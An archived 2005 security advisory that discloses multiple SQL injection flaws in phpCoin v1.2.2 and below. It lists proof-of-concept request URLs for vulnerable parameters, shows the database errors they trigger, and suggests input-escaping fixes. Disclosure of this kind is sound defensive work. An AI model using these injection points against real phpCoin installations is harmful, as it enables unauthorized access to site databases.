OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Multiple Sql injections in phpCoin v1.2.2 and below

From: dcrab (dcrabhackerscenter.com)
Date: Thu Apr 28 2005 - 15:28:14 CDT


Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/

Get Dcrab's Services to audit your Web servers, scripts, networks, etc. Learn more at http://www.digitalparadox.org/services.ah

Severity: High
Title: Multiple Sql injections in phpCoin v1.2.2 and below
Date: 28/04/2005

Vendor: phpCoin
Vendor Website: http://www.phpcoin.com/
Vendor contact status: Contacted 5 days before release of advisory, but no response.
Summary: There are, multiple sql injections in phpcoin v1.2.2 and below.
Refrence: http://digitalparadox.org/viewadvisories.ah?view=36

Proof of Concept Exploits:

http://docs.localhost/index.php?title=Special%3aSearch&search=(SQL_INJECTION
SQL INJECTION
 A database query syntax error has occurred. This could be because of an illegal search query (see Searching PhpCOIN Docs), or it may indicate a bug in the software. The last attempted database query was:

    SELECT cur_id,cur_namespace,cur_title,cur_text FROM cur,searchindex WHERE cur_id=si_page AND ( ( (MATCH (si_title) AGAINST ('SQL_INJECTION')) ) AND cur_namespace IN (0,9,11) LIMIT 0, 20

from within function "SearchEngine::showResults". MySQL returned error "1064: You have an error in your SQL syntax near 'LIMIT 0, 20' at line 1".

http://localhost/login.php?w=user&o=login&phpcoinsessid=SQL_INJECTION'
SQL_INJECTION

Unable to execute query: (SELECT * FROM phpcoin_components WHERE comp_name='siteinfo' AND comp_mod='SQL_INJECTION\' ORDER BY comp_id ASC).
Error returned is: ( : ).
Check the syntax / server connection and and try again.

http://localhost/mod.php?mod=siteinfo&id=SQL_INJECTION'&phpcoinsessid=8d4706204348394afece6b64db3d9b95
SQL INJECTION

Unable to execute query: (SELECT * FROM phpcoin_components WHERE comp_name='siteinfo' AND comp_mod='SQL_INJECTION\' ORDER BY comp_id ASC).
Error returned is: ( : ).
Check the syntax / server connection and and try again.

http://localhost/mod.php?mod=pages&mode=list&dtopic_id=SQL_INJECTION'&phpcoinsessid=fa7905a749dbdc698838930de0f99f4b
SQL INJECTION

Database Error:
Unable to execute query: (SELECT COUNT(*) FROM phpcoin_pages, phpcoin_topics, phpcoin_categories WHERE phpcoin_pages.topic_id = phpcoin_topics.topic_id AND phpcoin_pages.cat_id = phpcoin_categories.cat_id AND phpcoin_pages.topic_id = SQL_INJECTION\ AND phpcoin_pages.pages_admin = 0 AND phpcoin_pages.pages_status = 1).
Error returned is: ( : ).
Check the syntax / server connection and and try again.

Database Error:
Unable to execute query: (SELECT phpcoin_pages.id, phpcoin_pages.subject, phpcoin_pages.topic_id, phpcoin_pages.cat_id, phpcoin_pages.time_stamp, phpcoin_pages.pages_title, phpcoin_pages.pages_code, phpcoin_pages.pages_block_it, phpcoin_pages.pages_status, phpcoin_pages.pages_admin, phpcoin_topics.topic_name, phpcoin_categories.cat_name FROM phpcoin_pages, phpcoin_topics, phpcoin_categories WHERE phpcoin_pages.topic_id = phpcoin_topics.topic_id AND phpcoin_pages.cat_id = phpcoin_categories.cat_id AND phpcoin_pages.topic_id = SQL_INJECTION\ AND phpcoin_pages.pages_admin = 0 AND phpcoin_pages.pages_status = 1 ORDER BY time_stamp DESC LIMIT 0, 15).
Error returned is: ( : ).
Check the syntax / server connection and and try again.

http://localhost/mod.php?mod=pages&mode=list&dcat_id=SQL_INJECTION'&phpcoinsessid=fa7905a749dbdc698838930de0f99f4b
SQL INJECTION

Database Error:
Unable to execute query: (SELECT COUNT(*) FROM phpcoin_pages, phpcoin_topics, phpcoin_categories WHERE phpcoin_pages.topic_id = phpcoin_topics.topic_id AND phpcoin_pages.cat_id = phpcoin_categories.cat_id AND phpcoin_pages.cat_id = SQL_INJECTION\ AND phpcoin_pages.pages_admin = 0 AND phpcoin_pages.pages_status = 1).
Error returned is: ( : ).
Check the syntax / server connection and and try again.

Database Error:
Unable to execute query: (SELECT phpcoin_pages.id, phpcoin_pages.subject, phpcoin_pages.topic_id, phpcoin_pages.cat_id, phpcoin_pages.time_stamp, phpcoin_pages.pages_title, phpcoin_pages.pages_code, phpcoin_pages.pages_block_it, phpcoin_pages.pages_status, phpcoin_pages.pages_admin, phpcoin_topics.topic_name, phpcoin_categories.cat_name FROM phpcoin_pages, phpcoin_topics, phpcoin_categories WHERE phpcoin_pages.topic_id = phpcoin_topics.topic_id AND phpcoin_pages.cat_id = phpcoin_categories.cat_id AND phpcoin_pages.cat_id = SQL_INJECTION\ AND phpcoin_pages.pages_admin = 0 AND phpcoin_pages.pages_status = 1 ORDER BY time_stamp DESC LIMIT 0, 15).
Error returned is: ( : ).
Check the syntax / server connection and and try again.

Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems.

Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah

Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my soon to come out book on Secure coding with php.